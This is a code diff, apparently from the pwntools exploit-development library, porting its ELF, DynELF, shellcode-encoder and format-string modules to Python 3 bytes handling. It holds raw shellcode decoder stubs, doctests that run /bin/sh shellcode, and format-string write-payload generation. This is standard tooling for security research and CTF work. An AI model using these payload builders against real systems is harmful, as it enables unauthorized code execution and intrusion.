else:
|
||||
log.error("Could not find size of partition %r" % name)
|
||||
|
||||
@@ -80,8 +80,8 @@ def main(args):
|
||||
parser.print_usage()
|
||||
sys.exit(0)
|
||||
|
||||
data = sys.stdin.read()
|
||||
output = data
|
||||
stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin)
|
||||
output = stdin_buffer.read()
|
||||
fmt = args.format or ('hex' if tty else 'raw')
|
||||
formatters = {'r':bytes, 'h':enhex, 's':repr}
|
||||
|
||||
|
||||
@@ -26,6 +26,9 @@ supported by ``pwnlib.util.safeeval.expr``.
|
||||
randomize=1
|
||||
timeout=60
|
||||
terminal=['x-terminal-emulator', '-e']
|
||||
|
||||
[update]
|
||||
interval=7
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
@@ -27,6 +27,11 @@ from pwnlib.config import register_config
|
||||
from pwnlib.device import Device
|
||||
from pwnlib.timeout import Timeout
|
||||
|
||||
try:
|
||||
from collections.abc import Iterable
|
||||
except ImportError:
|
||||
from collections import Iterable
|
||||
|
||||
__all__ = ['context', 'ContextType', 'Thread']
|
||||
|
||||
_original_socket = socket.socket
|
||||
@@ -839,6 +844,8 @@ class ContextType(object):
|
||||
return b.decode('utf-8')
|
||||
except UnicodeDecodeError:
|
||||
return b.decode('latin1')
|
||||
except AttributeError:
|
||||
return b
|
||||
return b.decode(self.encoding)
|
||||
|
||||
@_validator
|
||||
@@ -1117,7 +1124,7 @@ class ContextType(object):
|
||||
if isinstance(proxy, str):
|
||||
proxy = (socks.SOCKS5, proxy)
|
||||
|
||||
if not isinstance(proxy, collections.Iterable):
|
||||
if not isinstance(proxy, Iterable):
|
||||
raise AttributeError('proxy must be a string hostname, or tuple of arguments for socks.set_default_proxy')
|
||||
|
||||
socks.set_default_proxy(*proxy)
|
||||
@@ -1225,12 +1232,13 @@ class ContextType(object):
|
||||
>>> cache_dir == context.cache_dir
|
||||
True
|
||||
"""
|
||||
home = os.path.expanduser('~')
|
||||
xdg_cache_home = os.environ.get('XDG_CACHE_HOME') or \
|
||||
os.path.join(os.path.expanduser('~'), '.cache')
|
||||
|
||||
if not os.access(home, os.W_OK):
|
||||
if not os.access(xdg_cache_home, os.W_OK):
|
||||
return None
|
||||
|
||||
cache = os.path.join(home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
|
||||
cache = os.path.join(xdg_cache_home, '.pwntools-cache-%d.%d' % sys.version_info[:2])
|
||||
|
||||
if not os.path.exists(cache):
|
||||
try:
|
||||
|
||||
+9
-6
@@ -75,8 +75,8 @@ def sysv_hash(symbol):
|
||||
"""
|
||||
h = 0
|
||||
g = 0
|
||||
for c in symbol:
|
||||
h = (h << 4) + ord(c)
|
||||
for c in bytearray(context._encode(symbol)):
|
||||
h = (h << 4) + c
|
||||
g = h & 0xf0000000
|
||||
h ^= (g >> 24)
|
||||
h &= ~g
|
||||
@@ -87,9 +87,10 @@ def gnu_hash(s):
|
||||
|
||||
Function used to generated GNU-style hashes for strings.
|
||||
"""
|
||||
s = bytearray(context._encode(s))
|
||||
h = 5381
|
||||
for c in s:
|
||||
h = h * 33 + ord(c)
|
||||
h = h * 33 + c
|
||||
return h & 0xffffffff
|
||||
|
||||
class DynELF(object):
|
||||
@@ -292,7 +293,7 @@ class DynELF(object):
|
||||
w = None
|
||||
|
||||
while True:
|
||||
if self.leak.compare(ptr, '\x7fELF'):
|
||||
if self.leak.compare(ptr, b'\x7fELF'):
|
||||
break
|
||||
|
||||
# See if we can short circuit the search
|
||||
@@ -641,7 +642,7 @@ class DynELF(object):
|
||||
p_name = leak.field(cur, LinkMap.l_name)
|
||||
name = leak.s(p_name)
|
||||
|
||||
if libname in name:
|
||||
if libname.encode('utf-8') in name:
|
||||
break
|
||||
|
||||
if name:
|
||||
@@ -740,6 +741,7 @@ class DynELF(object):
|
||||
|
||||
# Leak the name of the function from the symbol table
|
||||
name = leak.s(strtab + leak.field(sym, Sym.st_name))
|
||||
name = name.decode('utf-8')
|
||||
|
||||
# Make sure it matches the name of the symbol we were looking for.
|
||||
if name == symb:
|
||||
@@ -823,6 +825,7 @@ class DynELF(object):
|
||||
# Check for collision on hash values
|
||||
sym = symtab + sizeof(Sym) * (ndx + i)
|
||||
name = leak.s(strtab + leak.field(sym, Sym.st_name))
|
||||
name = name.decode('utf-8')
|
||||
|
||||
if name == symb:
|
||||
# No collision, get offset and calculate address
|
||||
@@ -854,7 +857,7 @@ class DynELF(object):
|
||||
|
||||
for offset in libcdb.get_build_id_offsets():
|
||||
address = libbase + offset
|
||||
if self.leak.compare(address + 0xC, "GNU\x00"):
|
||||
if self.leak.compare(address + 0xC, b"GNU\x00"):
|
||||
return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
|
||||
else:
|
||||
self.status("Build ID not found at offset %#x" % offset)
|
||||
|
||||
@@ -21,8 +21,8 @@ class KernelConfig(object):
|
||||
self.excludes = set(excludes)
|
||||
|
||||
#: Kernel version that this check should be enforced on
|
||||
self.minver = map(int, str(minver).split('.'))
|
||||
self.maxver = map(int, str(maxver).split('.'))
|
||||
self.minver = list(map(int, str(minver).split('.')))
|
||||
self.maxver = list(map(int, str(maxver).split('.')))
|
||||
|
||||
def relevant(self, config):
|
||||
|
||||
|
||||
@@ -484,7 +484,7 @@ class Corefile(ELF):
|
||||
>>> io = elf.process()
|
||||
>>> io.wait(2)
|
||||
>>> core = io.corefile
|
||||
[!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
|
||||
[!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
|
||||
>>> core.argc, core.argv, core.env
|
||||
(0, [], {})
|
||||
>>> core.stack.data.endswith(b'AAAA')
|
||||
@@ -924,9 +924,9 @@ class Corefile(ELF):
|
||||
return
|
||||
|
||||
# If the stack does not end with zeroes, something is very wrong.
|
||||
if not stack.data.endswith(b'\x00' * 8):
|
||||
if not stack.data.endswith(b'\x00' * context.bytes):
|
||||
log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
|
||||
enhex(self.data[-8:]))
|
||||
enhex(self.data[-context.bytes:]))
|
||||
return
|
||||
|
||||
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
|
||||
|
||||
@@ -191,7 +191,7 @@ class constants:
|
||||
NT_AUXV = 6
|
||||
#
|
||||
# Note to userspace developers: size of NT_SIGINFO note may increase
|
||||
# in the future to accomodate more fields, don't assume it is fixed!
|
||||
# in the future to accommodate more fields, don't assume it is fixed!
|
||||
#
|
||||
NT_SIGINFO = 0x53494749
|
||||
NT_FILE = 0x46494c45
|
||||
|
||||
+67
-8
@@ -83,6 +83,7 @@ from pwnlib.tubes.process import process
|
||||
from pwnlib.util import misc
|
||||
from pwnlib.util import packing
|
||||
from pwnlib.util.fiddling import unhex
|
||||
from pwnlib.util.misc import align, align_down
|
||||
from pwnlib.util.sh_string import sh_string
|
||||
|
||||
log = getLogger(__name__)
|
||||
@@ -309,7 +310,7 @@ class ELF(ELFFile):
|
||||
config = gz.read()
|
||||
|
||||
if config:
|
||||
self.config = parse_kconfig(config)
|
||||
self.config = parse_kconfig(config.decode())
|
||||
|
||||
#: ``True`` if the ELF is a statically linked executable
|
||||
self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)
|
||||
@@ -1033,7 +1034,10 @@ class ELF(ELFFile):
|
||||
return
|
||||
|
||||
banner = self.string(self.symbols.linux_banner)
|
||||
|
||||
|
||||
# convert banner into a utf-8 string since re.search does not accept bytes anymore
|
||||
banner = banner.decode('utf-8')
|
||||
|
||||
# 'Linux version 3.18.31-gd0846ecc
|
||||
regex = r'Linux version (\S+)'
|
||||
match = re.search(regex, banner)
|
||||
@@ -1048,6 +1052,49 @@ class ELF(ELFFile):
|
||||
|
||||
self.config['version'] = self.version
|
||||
|
||||
@property
|
||||
def libc_start_main_return(self):
|
||||
"""
|
||||
Try to find the return address from main into __libc_start_main.
|
||||
The heuristic to find the call to the function pointer of main is
|
||||
to list all calls inside __libc_start_main, find the call to exit
|
||||
after the call to main and select the previous call.
|
||||
"""
|
||||
if '__libc_start_main' not in self.functions:
|
||||
return 0
|
||||
|
||||
if 'exit' not in self.symbols:
|
||||
return 0
|
||||
|
||||
# If there's no delay slot, execution continues on the next instruction after a call.
|
||||
call_return_offset = 1
|
||||
if self.arch in ['arm', 'thumb']:
|
||||
call_instructions = set(['blx', 'bl'])
|
||||
elif self.arch == 'aarch64':
|
||||
call_instructions = set(['blr', 'bl'])
|
||||
elif self.arch in ['mips', 'mips64']:
|
||||
call_instructions = set(['bal', 'jalr'])
|
||||
# Account for the delay slot.
|
||||
call_return_offset = 2
|
||||
elif self.arch in ['i386', 'amd64', 'ia64']:
|
||||
call_instructions = set(['call'])
|
||||
else:
|
||||
log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
|
||||
return 0
|
||||
|
||||
code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
|
||||
exit_addr = hex(self.symbols['exit'])
|
||||
lines = code.split('\n')
|
||||
calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
|
||||
exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
|
||||
if len(exit_calls) != 1:
|
||||
return 0
|
||||
|
||||
call_to_main = calls[exit_calls[0] - 1]
|
||||
return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
|
||||
return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
|
||||
return return_from_main
|
||||
|
||||
def search(self, needle, writable = False):
|
||||
"""search(needle, writable = False) -> generator
|
||||
|
||||
@@ -1155,6 +1202,11 @@ class ELF(ELFFile):
|
||||
# DT_LOAD segment is **last** to load data into the region.
|
||||
self.memory.chop(start, stop_data)
|
||||
|
||||
# Fill the start of the segment's first page
|
||||
page_start = align_down(0x1000, start)
|
||||
if page_start < start and not self.memory[page_start]:
|
||||
self.memory.addi(page_start, start, None)
|
||||
|
||||
# Add the new segment
|
||||
if start != stop_data:
|
||||
self.memory.addi(start, stop_data, segment)
|
||||
@@ -1162,15 +1214,22 @@ class ELF(ELFFile):
|
||||
if stop_data != stop_mem:
|
||||
self.memory.addi(stop_data, stop_mem, b'\x00')
|
||||
|
||||
page_end = align(0x1000, stop_mem)
|
||||
|
||||
# Check for holes which we can fill
|
||||
if self._fill_gaps and i+1 < len(load_segments):
|
||||
next_start = load_segments[i+1].header.p_vaddr
|
||||
|
||||
if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
|
||||
self.memory.addi(stop_mem, next_start, None)
|
||||
else:
|
||||
page_end = (stop_mem + 0xfff) & ~(0xfff)
|
||||
page_next = align_down(0x1000, next_start)
|
||||
|
||||
if stop_mem < next_start:
|
||||
if page_end < page_next:
|
||||
if stop_mem < page_end:
|
||||
self.memory.addi(stop_mem, page_end, None)
|
||||
if page_next < next_start:
|
||||
self.memory.addi(page_next, next_start, None)
|
||||
else:
|
||||
self.memory.addi(stop_mem, next_start, None)
|
||||
else:
|
||||
if stop_mem < page_end:
|
||||
self.memory.addi(stop_mem, page_end, None)
|
||||
|
||||
@@ -1602,7 +1661,7 @@ class ELF(ELFFile):
|
||||
``PT_GNU_STACK``
|
||||
|
||||
The p_flags member specifies the permissions on the segment
|
||||
containing the stack and is used to indicate wether the stack
|
||||
containing the stack and is used to indicate whether the stack
|
||||
should be executable. The absense of this header indicates
|
||||
that the stack will be executable.
|
||||
|
||||
|
||||
@@ -5,19 +5,20 @@ from pwnlib.encoders.i386.delta import i386DeltaEncoder
|
||||
|
||||
|
||||
class amd64DeltaEncoder(i386DeltaEncoder):
|
||||
"""
|
||||
r"""
|
||||
amd64 encoder built on delta-encoding.
|
||||
|
||||
In addition to the loader stub, doubles the size of the shellcode.
|
||||
|
||||
>>> context.clear(arch='amd64')
|
||||
>>> shellcode = asm(shellcraft.sh())
|
||||
>>> avoid = '/bin/sh\x00'
|
||||
>>> avoid = b'/bin/sh\x00'
|
||||
>>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
|
||||
>>> assert not any(c in encoded for c in avoid)
|
||||
>>> p = run_shellcode(encoded)
|
||||
>>> p.sendline(b'echo hello; exit')
|
||||
>>> p.recvline()
|
||||
b'hello\n'
|
||||
"""
|
||||
assembly = '''
|
||||
base:
|
||||
@@ -39,7 +40,7 @@ next:
|
||||
data:
|
||||
'''
|
||||
arch = 'amd64'
|
||||
raw = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
raw = b'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
blacklist = set(raw)
|
||||
|
||||
encode = amd64DeltaEncoder()
|
||||
|
||||
@@ -15,7 +15,7 @@ class ArmXorEncoder(Encoder):
|
||||
|
||||
>>> context.clear(arch='arm')
|
||||
>>> shellcode = asm(shellcraft.sh())
|
||||
>>> avoid = 'binsh\x00\n'
|
||||
>>> avoid = b'binsh\x00\n'
|
||||
>>> encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
|
||||
>>> assert not any(c in encoded for c in avoid)
|
||||
>>> p = run_shellcode(encoded)
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import six
|
||||
import collections
|
||||
from random import choice
|
||||
from random import randint
|
||||
@@ -41,7 +42,7 @@ class i386DeltaEncoder(Encoder):
|
||||
|
||||
Example:
|
||||
|
||||
>>> sc = pwnlib.encoders.i386.delta.encode('\xcc', '\x00\xcc')
|
||||
>>> sc = pwnlib.encoders.i386.delta.encode(b'\xcc', b'\x00\xcc')
|
||||
>>> e = ELF.from_bytes(sc)
|
||||
>>> e.process().poll(True)
|
||||
-5
|
||||
@@ -50,36 +51,35 @@ class i386DeltaEncoder(Encoder):
|
||||
arch = 'i386'
|
||||
stub = None
|
||||
terminator = 0xac
|
||||
raw = '\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
raw = b'\xd9\xd0\xfc\xd9t$\xf4^\x83\xc6\x18\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
|
||||
|
||||
blacklist = set(raw)
|
||||
|
||||
def __call__(self, bytes, avoid, pcreg=''):
|
||||
def __call__(self, raw_bytes, avoid, pcreg=''):
|
||||
table = collections.defaultdict(lambda: [])
|
||||
endchar = ''
|
||||
endchar = bytearray()
|
||||
|
||||
not_bad = lambda x: chr(x) not in avoid
|
||||
not_bad = lambda x: six.int2byte(x) not in avoid
|
||||
not_bad_or_term = lambda x: not_bad(x) and x != self.terminator
|
||||
|
||||
for i in filter(not_bad_or_term, range(0, 256)):
|
||||
endchar += chr(i)
|
||||
endchar.append(i)
|
||||
for j in filter(not_bad, range(0, 256)):
|
||||
table[(j - i) & 0xff].append(chr(i) + chr(j))
|
||||
table[(j - i) & 0xff].append(bytearray([i, j]))
|
||||
|
||||
res = self.raw
|
||||
res = bytearray(self.raw)
|
||||
|
||||
for c in bytes:
|
||||
a = ord(c)
|
||||
l = len(table[a])
|
||||
for c in bytearray(raw_bytes):
|
||||
l = len(table[c])
|
||||
if l == 0:
|
||||
print('No encodings for character %02x' % a)
|
||||
print('No encodings for character %02x' % c)
|
||||
return None
|
||||
|
||||
res += table[a][randint(0, l - 1)]
|
||||
res += table[c][randint(0, l - 1)]
|
||||
|
||||
res += chr(self.terminator)
|
||||
res += choice(endchar)
|
||||
res.append(self.terminator)
|
||||
res.append(choice(endchar))
|
||||
|
||||
return res
|
||||
return bytes(res)
|
||||
|
||||
encode = i386DeltaEncoder()
|
||||
+66
-65
@@ -26,6 +26,7 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import six
|
||||
from pwnlib import asm
|
||||
from pwnlib import shellcraft
|
||||
from pwnlib.context import context
|
||||
@@ -33,67 +34,67 @@ from pwnlib.encoders.encoder import Encoder
|
||||
from pwnlib.util.fiddling import xor_key
|
||||
|
||||
decoders = {
|
||||
'little': ''.join([
|
||||
"SIZ2SIZ1\x0e\x24", # li t6,-5
|
||||
"\x27\x70\xc0\x01", # nor t6,t6,zero
|
||||
"\xa3\xff\x0b\x24", # li t3,-93
|
||||
"\x26\x40\xce\x01", # xor t0,t6,t6
|
||||
"\xff\xff\x08\x21", # addi t0,t0,-1
|
||||
"\xff\xff\x10\x05", # bltzal t0,14 <next>
|
||||
"\x82\x82\x08\x28", # slti t0,zero,-32126
|
||||
"\xe2\xff\xfd\x23", # addi sp,ra,-30
|
||||
"\x27\x58\x60\x01", # nor t3,t3,zero
|
||||
"\x21\xc8\xeb\x03", # addu t9,ra,t3
|
||||
"\x82\x82\x17\x28", # slti s7,zero,-32126
|
||||
"\xfc\xff\x31\x8f", # lw s1,-4(t9)
|
||||
"\xfb\xff\x0c\x24", # li t4,-5
|
||||
"\x27\x60\x80\x01", # nor t4,t4,zero
|
||||
"\xfd\xff\x8f\x21", # addi t7,t4,-3
|
||||
"\xfc\xff\x28\x8f", # lw t0,-4(t9)
|
||||
"\x21\xb8\xef\x02", # addu s7,s7,t7
|
||||
"\x26\x18\x11\x01", # xor v1,t0,s1
|
||||
"\x2b\xf0\xee\x02", # sltu s8,s7,t6
|
||||
"\xfc\xff\x23\xaf", # sw v1,-4(t9)
|
||||
"\xfa\xff\x1e\x14", # bne zero,s8,3c <loop>
|
||||
"\x21\xc8\x2c\x03", # addu t9,t9,t4
|
||||
"\xfd\xff\x86\x21", # addi a2,t4,-3
|
||||
"\xf8\xff\xa6\xaf", # sw a2,-8(sp)
|
||||
"\x26\x28\xce\x01", # xor a1,t6,t6
|
||||
"\xfc\xff\xa5\xaf", # sw a1,-4(sp)
|
||||
"\xf8\xff\xa4\x27", # addiu a0,sp,-8
|
||||
"\x46\x10\x02\x24", # li v0,4166
|
||||
"\x0c\x54\x4a\x01" # syscall 0x52950
|
||||
'little': b''.join([
|
||||
b'SIZ2SIZ1\x0e\x24', # li t6,-5
|
||||
b'\x27\x70\xc0\x01', # nor t6,t6,zero
|
||||
b'\xa3\xff\x0b\x24', # li t3,-93
|
||||
b'\x26\x40\xce\x01', # xor t0,t6,t6
|
||||
b'\xff\xff\x08\x21', # addi t0,t0,-1
|
||||
b'\xff\xff\x10\x05', # bltzal t0,14 <next>
|
||||
b'\x82\x82\x08\x28', # slti t0,zero,-32126
|
||||
b'\xe2\xff\xfd\x23', # addi sp,ra,-30
|
||||
b'\x27\x58\x60\x01', # nor t3,t3,zero
|
||||
b'\x21\xc8\xeb\x03', # addu t9,ra,t3
|
||||
b'\x82\x82\x17\x28', # slti s7,zero,-32126
|
||||
b'\xfc\xff\x31\x8f', # lw s1,-4(t9)
|
||||
b'\xfb\xff\x0c\x24', # li t4,-5
|
||||
b'\x27\x60\x80\x01', # nor t4,t4,zero
|
||||
b'\xfd\xff\x8f\x21', # addi t7,t4,-3
|
||||
b'\xfc\xff\x28\x8f', # lw t0,-4(t9)
|
||||
b'\x21\xb8\xef\x02', # addu s7,s7,t7
|
||||
b'\x26\x18\x11\x01', # xor v1,t0,s1
|
||||
b'\x2b\xf0\xee\x02', # sltu s8,s7,t6
|
||||
b'\xfc\xff\x23\xaf', # sw v1,-4(t9)
|
||||
b'\xfa\xff\x1e\x14', # bne zero,s8,3c <loop>
|
||||
b'\x21\xc8\x2c\x03', # addu t9,t9,t4
|
||||
b'\xfd\xff\x86\x21', # addi a2,t4,-3
|
||||
b'\xf8\xff\xa6\xaf', # sw a2,-8(sp)
|
||||
b'\x26\x28\xce\x01', # xor a1,t6,t6
|
||||
b'\xfc\xff\xa5\xaf', # sw a1,-4(sp)
|
||||
b'\xf8\xff\xa4\x27', # addiu a0,sp,-8
|
||||
b'\x46\x10\x02\x24', # li v0,4166
|
||||
b'\x0c\x54\x4a\x01' # syscall 0x52950
|
||||
]),
|
||||
'big': ''.join([
|
||||
"\x24\x0eSIZ1SIZ2", # li t6,-5
|
||||
"\x01\xc0\x70\x27", # nor t6,t6,zero
|
||||
"\x24\x0b\xff\xa3", # li t3,-93
|
||||
"\x01\xce\x40\x26", # xor t0,t6,t6
|
||||
"\x21\x08\xff\xff", # addi t0,t0,-1
|
||||
"\x05\x10\xff\xff", # bltzal t0,14 <next>
|
||||
"\x28\x08\x82\x82", # slti t0,zero,-32126
|
||||
"\x23\xfd\xff\xe2", # addi sp,ra,-30
|
||||
"\x01\x60\x58\x27", # nor t3,t3,zero
|
||||
"\x03\xeb\xc8\x21", # addu t9,ra,t3
|
||||
"\x28\x17\x82\x82", # slti s7,zero,-32126
|
||||
"\x8f\x31\xff\xfc", # lw s1,-4(t9)
|
||||
"\x24\x0c\xff\xfb", # li t4,-5
|
||||
"\x01\x80\x60\x27", # nor t4,t4,zero
|
||||
"\x21\x8f\xff\xfd", # addi t7,t4,-3
|
||||
"\x8f\x28\xff\xfc", # lw t0,-4(t9)
|
||||
"\x02\xef\xb8\x21", # addu s7,s7,t7
|
||||
"\x01\x11\x18\x26", # xor v1,t0,s1
|
||||
"\x02\xee\xf0\x2b", # sltu s8,s7,t6
|
||||
"\xaf\x23\xff\xfc", # sw v1,-4(t9)
|
||||
"\x14\x1e\xff\xfa", # bne zero,s8,3c <loop>
|
||||
"\x03\x2c\xc8\x21", # addu t9,t9,t4
|
||||
"\x21\x86\xff\xfd", # addi a2,t4,-3
|
||||
"\xaf\xa6\xff\xf8", # sw a2,-8(sp)
|
||||
"\x01\xce\x28\x26", # xor a1,t6,t6
|
||||
"\xaf\xa5\xff\xfc", # sw a1,-4(sp)
|
||||
"\x27\xa4\xff\xf8", # addiu a0,sp,-8
|
||||
"\x24\x02\x10\x46", # li v0,4166
|
||||
"\x01\x4a\x54\x0c" # syscall 0x52950
|
||||
'big': b''.join([
|
||||
b'\x24\x0eSIZ1SIZ2', # li t6,-5
|
||||
b'\x01\xc0\x70\x27', # nor t6,t6,zero
|
||||
b'\x24\x0b\xff\xa3', # li t3,-93
|
||||
b'\x01\xce\x40\x26', # xor t0,t6,t6
|
||||
b'\x21\x08\xff\xff', # addi t0,t0,-1
|
||||
b'\x05\x10\xff\xff', # bltzal t0,14 <next>
|
||||
b'\x28\x08\x82\x82', # slti t0,zero,-32126
|
||||
b'\x23\xfd\xff\xe2', # addi sp,ra,-30
|
||||
b'\x01\x60\x58\x27', # nor t3,t3,zero
|
||||
b'\x03\xeb\xc8\x21', # addu t9,ra,t3
|
||||
b'\x28\x17\x82\x82', # slti s7,zero,-32126
|
||||
b'\x8f\x31\xff\xfc', # lw s1,-4(t9)
|
||||
b'\x24\x0c\xff\xfb', # li t4,-5
|
||||
b'\x01\x80\x60\x27', # nor t4,t4,zero
|
||||
b'\x21\x8f\xff\xfd', # addi t7,t4,-3
|
||||
b'\x8f\x28\xff\xfc', # lw t0,-4(t9)
|
||||
b'\x02\xef\xb8\x21', # addu s7,s7,t7
|
||||
b'\x01\x11\x18\x26', # xor v1,t0,s1
|
||||
b'\x02\xee\xf0\x2b', # sltu s8,s7,t6
|
||||
b'\xaf\x23\xff\xfc', # sw v1,-4(t9)
|
||||
b'\x14\x1e\xff\xfa', # bne zero,s8,3c <loop>
|
||||
b'\x03\x2c\xc8\x21', # addu t9,t9,t4
|
||||
b'\x21\x86\xff\xfd', # addi a2,t4,-3
|
||||
b'\xaf\xa6\xff\xf8', # sw a2,-8(sp)
|
||||
b'\x01\xce\x28\x26', # xor a1,t6,t6
|
||||
b'\xaf\xa5\xff\xfc', # sw a1,-4(sp)
|
||||
b'\x27\xa4\xff\xf8', # addiu a0,sp,-8
|
||||
b'\x24\x02\x10\x46', # li v0,4166
|
||||
b'\x01\x4a\x54\x0c' # syscall 0x52950
|
||||
])
|
||||
}
|
||||
|
||||
@@ -104,7 +105,7 @@ class MipsXorEncoder(Encoder):
|
||||
|
||||
>>> context.clear(arch='mips')
|
||||
>>> shellcode = asm(shellcraft.sh())
|
||||
>>> avoid = '/bin/sh\x00'
|
||||
>>> avoid = b'/bin/sh\x00'
|
||||
>>> encoded = pwnlib.encoders.mips.xor.encode(shellcode, avoid)
|
||||
>>> assert not any(c in encoded for c in avoid)
|
||||
>>> p = run_shellcode(encoded)
|
||||
@@ -114,7 +115,7 @@ class MipsXorEncoder(Encoder):
|
||||
"""
|
||||
|
||||
arch = 'mips'
|
||||
blacklist = cannot_avoid = set(''.join(v for v in decoders.values()))
|
||||
blacklist = cannot_avoid = set(b''.join(v for v in decoders.values()))
|
||||
|
||||
def __call__(self, raw_bytes, avoid, pcreg=''):
|
||||
|
||||
@@ -127,9 +128,9 @@ class MipsXorEncoder(Encoder):
|
||||
sizelo = size & 0xff
|
||||
sizehi = size >> 8
|
||||
|
||||
decoder = str(decoders[context.endian])
|
||||
decoder = decoder.replace('SIZ1', chr(sizehi))
|
||||
decoder = decoder.replace('SIZ2', chr(sizelo))
|
||||
decoder = decoders[context.endian]
|
||||
decoder = decoder.replace(b'SIZ1', six.int2byte(sizehi))
|
||||
decoder = decoder.replace(b'SIZ2', six.int2byte(sizelo))
|
||||
|
||||
key, data = xor_key(raw_bytes, avoid=avoid)
|
||||
|
||||
|
||||
+18
-23
@@ -246,9 +246,9 @@ class AtomWrite(object):
|
||||
Combine adjacent writes into a single write.
|
||||
|
||||
Example:
|
||||
>>> context.clear(endian = "little")
|
||||
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
|
||||
AtomWrite(start=0, size=2, integer=0x201, mask=0xff77)
|
||||
>>> context.clear(endian = "little")
|
||||
>>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77))
|
||||
AtomWrite(start=0, size=2, integer=0x201, mask=0x77ff)
|
||||
"""
|
||||
assert other.start == self.end, "writes to combine must be continous"
|
||||
if context.endian == "little":
|
||||
@@ -778,22 +778,22 @@ def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_
|
||||
|
||||
Examples:
|
||||
>>> context.clear(arch = 'amd64')
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
|
||||
b'%322419390c%4$llnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
|
||||
b'%47806c%5$lln%22649c%6$hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
|
||||
b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> context.clear(arch = 'i386')
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')
|
||||
b'%322419390c%5$na\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')
|
||||
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')
|
||||
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')))
|
||||
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
|
||||
b'%1c%3$na\x00\x00\x00\x00'
|
||||
>>> print(repr(fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')))
|
||||
>>> fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"}, write_size='short')
|
||||
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
|
||||
"""
|
||||
sz = WRITE_SIZE[write_size]
|
||||
@@ -835,15 +835,6 @@ class FmtStr(object):
|
||||
"""
|
||||
|
||||
def __init__(self, execute_fmt, offset = None, padlen = 0, numbwritten = 0):
|
||||
"""
|
||||
Instantiates an object which try to automating exploit the vulnerable process
|
||||
|
||||
Arguments:
|
||||
execute_fmt(function): function to call for communicate with the vulnerable process
|
||||
offset(int): the first formatter's offset you control
|
||||
padlen(int): size of the pad you want to add before the payload
|
||||
numbwritten(int): number of already written bytes
|
||||
"""
|
||||
self.execute_fmt = execute_fmt
|
||||
self.offset = offset
|
||||
self.padlen = padlen
|
||||
@@ -858,7 +849,8 @@ class FmtStr(object):
|
||||
self.leaker = MemLeak(self._leaker)
|
||||
|
||||
def leak_stack(self, offset, prefix=b""):
|
||||
